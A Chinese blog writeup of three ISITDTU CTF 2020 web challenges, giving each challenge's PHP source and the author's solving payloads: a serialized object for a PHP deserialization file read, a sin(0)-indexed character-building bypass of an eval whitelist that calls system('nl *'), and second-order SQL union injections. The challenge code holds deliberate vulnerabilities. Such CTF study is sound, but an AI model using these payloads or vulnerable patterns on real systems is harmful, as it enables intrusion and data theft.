ISITDTU CTF 2020 部分Web题目Writeup

周末，跟着m3w师傅打ISITDTUCTF，m3w师傅带弟弟上分，Tql！

Web1

给了源码：

<?php
class Read{
    public $flag;
    public function __wakeup(){
        echo file_get_contents($this->flag);
    }
}
if(isset($_GET['username'])){
    if(isset($_GET['password']))
    {
        $password = $_GET['password'];
        unserialize($password);
    }
}
highlight_file(__FILE__);
?>

考点：找flag文件+反序列化+文件包含

后面的利用很快就构造好了，利用类反序列化时触发__wakeup魔术方法，将flag文件包含进去。

Payload.php

<?php
class Read{
    public $flag = 'index.php';
}
$a = new Read();
echo serialize($a);
?>

不过flag文件一直找不到，尝试了几个常用的地方也没有。后来发现还有存在一个robots.txt的文件，其中给了flag为fl4g.php

Payload:?username&password=O:4:"Read":1:{s:4:"flag";s:8:"fl4g.php";}，查看源码即可。

Web2

还是给出了源码：

<?php

    // error_reporting(E_ALL);
    // ini_set('display_errors', '1');

    function trigonometric_check($code) { 

        // Check length
        if (strlen($code) >= 0x100) { 
            return false;
        }

        // Trim code
        $code = preg_replace("/(\s|\r|\n|\t)/", " ", $code); 

        // Danger keyword
        $blacklist = array("`", "\$", "include", "require", "#");
        foreach ($blacklist as $b) {
            if(preg_match("/($b)/i", $code, $m)) {  
                return false;
            }
        }

        // Fillter function
        preg_match_all("/([a-zA-Z]+)[\s\t\r\n/*]*(/", $code, $match);
        $trigonometric_functions = array("sin", "asin", "cos", "acos", "tan", "atan"); 

        // Missing trigonometric function
        if (count($match[1]) === 0) {
            return false;
        }

        // Only trigonometric function
        foreach($match[1] as $func) {
            if (!in_array($func, $trigonometric_functions)) {
                return false;
            }
        }

        return true;
    }

    function trigonometric($code) {
        if (!trigonometric_check($code)) {
            echo "Error!";
            return;
        }
        echo eval("echo ".$code.";");
    }

    $input = $_POST["input"];

    if (!isset($input)) {
        highlight_file(__FILE__);
        exit;
    }

    trigonometric($input);
?>

通过查看源码，进行了四层过滤，分别是：对长度进行限制、将一些转义的特殊字符置空，过滤一份黑名单，一份可用函数的白名单。

想了很久，没有思路，这时候m3w师傅给了一串字符串：(''.[])[sin(0)]，找到了A，然后通过测试发现对字符串加入内容，可以返回第一个字符，如('b')[sin(0)]——>b，通过这个方法就可以拼接字符串，然后getshell了

Payload:input=((("s")[sin(0)]).(("y")[sin(0)]).(("s")[sin(0)]).(("t")[sin(0)]).(("e")[sin(0)]).(("m")[sin(0)]))((("n")[sin(0)]).(("l")[sin(0)]).((" ")[sin(0)]).(("*")[sin(0)]))

对(''.[])[sin(0)]的思考：

拆成两个部分：''.[]和[sin(0)]

前半部分是通过强转换的方式将''和[]进行拼接，[]会变成Array，而前面是空字符，所以拼接完之后的字符串是Array

后半部分sin(0)取值是0，所以是[0]

两个拼接起来后就是取了A，有一种C语言字符串取值的感觉了，最后优化一下，可以改成：'A'[sin(0)]

后来，Firebasky师傅问了一个"ab"[[0]]为啥输出的是b，测试一下：

$a = array();
$b = array('1');
var_dump("abc"[$a]);
var_dump("abc"[$b]);
#输出
string(1) "a"
string(1) "b"

var_dump("abc"[[]]);
var_dump("abc"[[0]]);
#输出
string(1) "a"
string(1) "b"

如果[]中是数组且有值的，那就会转成"abc"[1]；而如果[]中是数组但没有值的，那就会转成"abc"[0]。因为自己水平有限，实在无法继续向下分析了，只能当个trick记住了，5555~，要是有懂的师傅请指点一下我！

Web3 child sql

有三个页面，分别是login.php、register.php、index.php(需要登陆了才看得到)

一开始找注入点，就毫无头绪。在登陆和注册页面疯狂尝试，无果。m3w师傅又来提醒我了，说是二次注入回显在index.php界面。发现了注入点在注入页面的用户名上。其实自己应该发现的，因为当时曾经用了username = "atao' or 1#"但是返回的不是atao而是1111，还以为是网站的问题，原来是菜蒙蔽了双眼。

Payload

判断列数：atao' order by 1#

回显库名：-1' union select database()#

回显表名：-1' union select group_concat(table_name) from information_schema.tables where table_schema= database()#

回显列名：-1' union select group_concat(column_name) from information_schema.columns where table_schema= database() and table_name='flag'#

回显数据：-1' union select flag from flag#

注：邮箱需要一直换一下

另外两题Web，一个是Powershell的trick，还有一个好像环境有问题。要是啥时候能用了在复现一下。周末又是膜m3w师傅！！！感谢大师傅带我打比赛。

本文作者：erR0Ratao

本文链接：https://www.cnblogs.com/erR0Ratao/p/13801674.html